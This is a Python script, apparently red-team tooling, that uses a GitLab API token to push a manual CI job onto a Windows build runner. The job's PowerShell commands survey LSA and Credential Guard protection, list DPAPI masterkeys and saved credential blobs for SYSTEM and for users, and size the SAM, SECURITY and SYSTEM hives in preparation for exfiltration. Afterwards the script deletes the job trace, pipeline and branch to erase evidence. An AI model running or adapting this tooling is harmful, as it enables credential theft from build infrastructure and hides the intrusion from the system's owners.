#!/usr/bin/env python3
r"""F0 pre-check for cred-extraction on STASRV25018. Staged; --execute.

Read-only recon before touching hives:
  - LSA protection posture (RunAsPPL) + Credential Guard state
  - SYSTEM masterkey files (Protect\S-1-5-18\User\)
  - SYSTEM credential blobs (systemprofile\...\Credentials\)
  - user credential blobs (C:\Users\*\...\Credentials\) — bonus surface
  - SAM/SECURITY/SYSTEM hive file sizes (exfil sizing for F1)
Confirms whether a credential blob actually exists before the hive pipeline.
Runs as manual CI job on star/backend, deploy tags. Cleanup after.
"""
import json, ssl, sys, time, urllib.request, urllib.parse, urllib.error
from pathlib import Path

CTX = ssl.create_default_context(); CTX.check_hostname = False; CTX.verify_mode = ssl.CERT_NONE
UA = {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) ir-assessment-rt'}
D = Path('/root/ir-assessment/redteam/gitlab_multistackexpert_com')
BASE = 'https://gitlab.multistackexpert.com'
PID = 154
BRANCH = 'feat/credx-precheck'

PS = [
    # LSA protection + Credential Guard posture
    'Write-Output "=== LSA POSTURE ==="; $l = Get-ItemProperty "HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Lsa" -ErrorAction SilentlyContinue; Write-Output ("RunAsPPL=" + $l.RunAsPPL); Write-Output ("RunAsPPLBoot=" + $l.RunAsPPLBoot); $cg = Get-CimInstance -ClassName Win32_DeviceGuard -Namespace "root\\Microsoft\\Windows\\DeviceGuard" -ErrorAction SilentlyContinue; Write-Output ("CG_SecurityServicesRunning=" + ($cg.SecurityServicesRunning -join ",")); Write-Output ("CG_VBSStatus=" + $cg.VirtualizationBasedSecurityStatus)',
    # SYSTEM masterkey files
    'Write-Output "=== SYSTEM MASTERKEYS ==="; Get-ChildItem "C:\\Windows\\System32\\Microsoft\\Protect\\S-1-5-18\\User" -Force -ErrorAction SilentlyContinue | Select-Object Length,LastWriteTime,Name | Format-Table -AutoSize | Out-String -Width 200',
    # SYSTEM credential blobs (task/credential-manager saved creds for SYSTEM context)
    'Write-Output "=== SYSTEM CREDENTIALS ==="; Get-ChildItem "C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Credentials" -Force -ErrorAction SilentlyContinue | Select-Object Length,LastWriteTime,Name | Format-Table -AutoSize | Out-String -Width 200',
    'Write-Output "=== SYSTEM CREDENTIALS ROAM ==="; Get-ChildItem "C:\\Windows\\System32\\config\\systemprofile\\AppData\\Roaming\\Microsoft\\Credentials" -Force -ErrorAction SilentlyContinue | Select-Object Length,LastWriteTime,Name | Format-Table -AutoSize | Out-String -Width 200',
    # per-user credential blobs (bonus: the 2 RDP-idle domain users)
    'Write-Output "=== USER CREDENTIALS ==="; Get-ChildItem "C:\\Users" -Directory -Force -ErrorAction SilentlyContinue | ForEach-Object { $u=$_.Name; Get-ChildItem ("C:\\Users\\" + $u + "\\AppData\\Local\\Microsoft\\Credentials") -Force -ErrorAction SilentlyContinue | ForEach-Object { Write-Output ("UCRED|" + $u + "|" + $_.Length + "|" + $_.LastWriteTime + "|" + $_.Name) }; Get-ChildItem ("C:\\Users\\" + $u + "\\AppData\\Roaming\\Microsoft\\Credentials") -Force -ErrorAction SilentlyContinue | ForEach-Object { Write-Output ("UCREDR|" + $u + "|" + $_.Length + "|" + $_.LastWriteTime + "|" + $_.Name) } }',
    # hive file sizes (for F1 exfil sizing — SYSTEM hive is the big one)
    'Write-Output "=== HIVE SIZES ==="; Get-ChildItem "C:\\Windows\\System32\\config\\SYSTEM","C:\\Windows\\System32\\config\\SECURITY","C:\\Windows\\System32\\config\\SAM" -Force -ErrorAction SilentlyContinue | Select-Object @{N=\'SizeMB\';E={[math]::Round($_.Length/1MB,2)}},LastWriteTime,Name | Format-Table -AutoSize',
]

def req(url, method='GET', data=None, headers=None):
    tok = (D / '.token').read_text().strip()
    h = dict(UA, **{'PRIVATE-TOKEN': tok}); h.update(headers or {})
    r = urllib.request.Request(url, data=data, headers=h, method=method)
    try:
        with urllib.request.urlopen(r, timeout=25, context=CTX) as resp:
            return resp.status, resp.read().decode('utf-8','ignore')
    except urllib.error.HTTPError as e:
        return e.code, e.read().decode('utf-8','ignore')
    except Exception as e:
        return 0, f'{type(e).__name__}: {e}'

def build_ci_yaml():
    st, orig = req(f'{BASE}/api/v4/projects/{PID}/repository/files/{urllib.parse.quote(".gitlab-ci.yml", safe="")}/raw?ref=develop')
    assert st == 200, f'fetch ci: {st}'
    script_lines = '\n'.join(f'      {l}' for l in PS)
    return orig.rstrip() + f'''
credx_precheck:
  stage: build_and_deploy
  tags: ["2019", appro, docker, star, windows]
  when: manual
  allow_failure: true
  script: |
{script_lines}
  rules:
    - if: '$CI_COMMIT_BRANCH == "{BRANCH}"'
      when: manual
'''

def main():
    if '--execute' not in sys.argv:
        print('STAGED ONLY. Re-run with --execute after operator go.')
        return
    run()

def run():
    log = []
    def L(m):
        line = f'[{time.strftime("%H:%M:%S")}] {m}'
        print(line, flush=True); log.append(line)
    st, b = req(f'{BASE}/api/v4/projects/{PID}/repository/branches', method='POST',
                data=urllib.parse.urlencode({'branch': BRANCH, 'ref': 'develop'}).encode(),
                headers={'Content-Type': 'application/x-www-form-urlencoded'})
    L(f'branch: {st}')
    if st == 401:
        raise SystemExit('token expired — refresh .token and rerun')
    yml = build_ci_yaml()
    payload = {'branch': BRANCH, 'commit_message': 'ci: add credx precheck',
               'actions': [{'action': 'update', 'file_path': '.gitlab-ci.yml', 'content': yml}]}
    st, b = req(f'{BASE}/api/v4/projects/{PID}/repository/commits', method='POST',
                data=json.dumps(payload).encode(), headers={'Content-Type': 'application/json'})
    L(f'commit: {st}')
    st, b = req(f'{BASE}/api/v4/projects/{PID}/pipeline', method='POST',
                data=urllib.parse.urlencode({'ref': BRANCH}).encode(),
                headers={'Content-Type': 'application/x-www-form-urlencoded'})
    pipe_id = json.loads(b)['id']; L(f'pipeline: {pipe_id}')
    job_id = None
    for _ in range(20):
        st, b = req(f'{BASE}/api/v4/projects/{PID}/pipelines/{pipe_id}/jobs')
        if st == 200:
            for j in json.loads(b):
                if j.get('name') == 'credx_precheck':
                    job_id = j['id']; break
        if job_id: break
        time.sleep(5)
    for _ in range(20):
        st, b = req(f'{BASE}/api/v4/projects/{PID}/jobs/{job_id}')
        if json.loads(b).get('status') == 'manual': break
        time.sleep(3)
    st, b = req(f'{BASE}/api/v4/projects/{PID}/jobs/{job_id}/play', method='POST')
    L(f'play: {st}')
    status = 'unknown'
    for i in range(90):
        st, b = req(f'{BASE}/api/v4/projects/{PID}/jobs/{job_id}')
        j = json.loads(b); status = j.get('status')
        if i % 6 == 0 or status in ('success','failed','canceled'):
            L(f'status={status} dur={j.get("duration")}')
        if status in ('success','failed','canceled'): break
        time.sleep(10)
    st, trace = req(f'{BASE}/api/v4/projects/{PID}/jobs/{job_id}/trace')
    L(f'trace: {st} len={len(trace)}')
    (D / 'credx_precheck_trace.txt').write_text(trace)
    (D / 'credx_precheck_run.log').write_text('\n'.join(log))
    req(f'{BASE}/api/v4/projects/{PID}/jobs/{job_id}/trace', method='DELETE')
    req(f'{BASE}/api/v4/projects/{PID}/pipelines/{pipe_id}', method='DELETE')
    req(f'{BASE}/api/v4/projects/{PID}/repository/branches/{urllib.parse.quote(BRANCH, safe="")}', method='DELETE')
    L('cleanup done')
    print('\n===== TRACE =====')
    print(trace[:12000])

if __name__ == '__main__':
    main()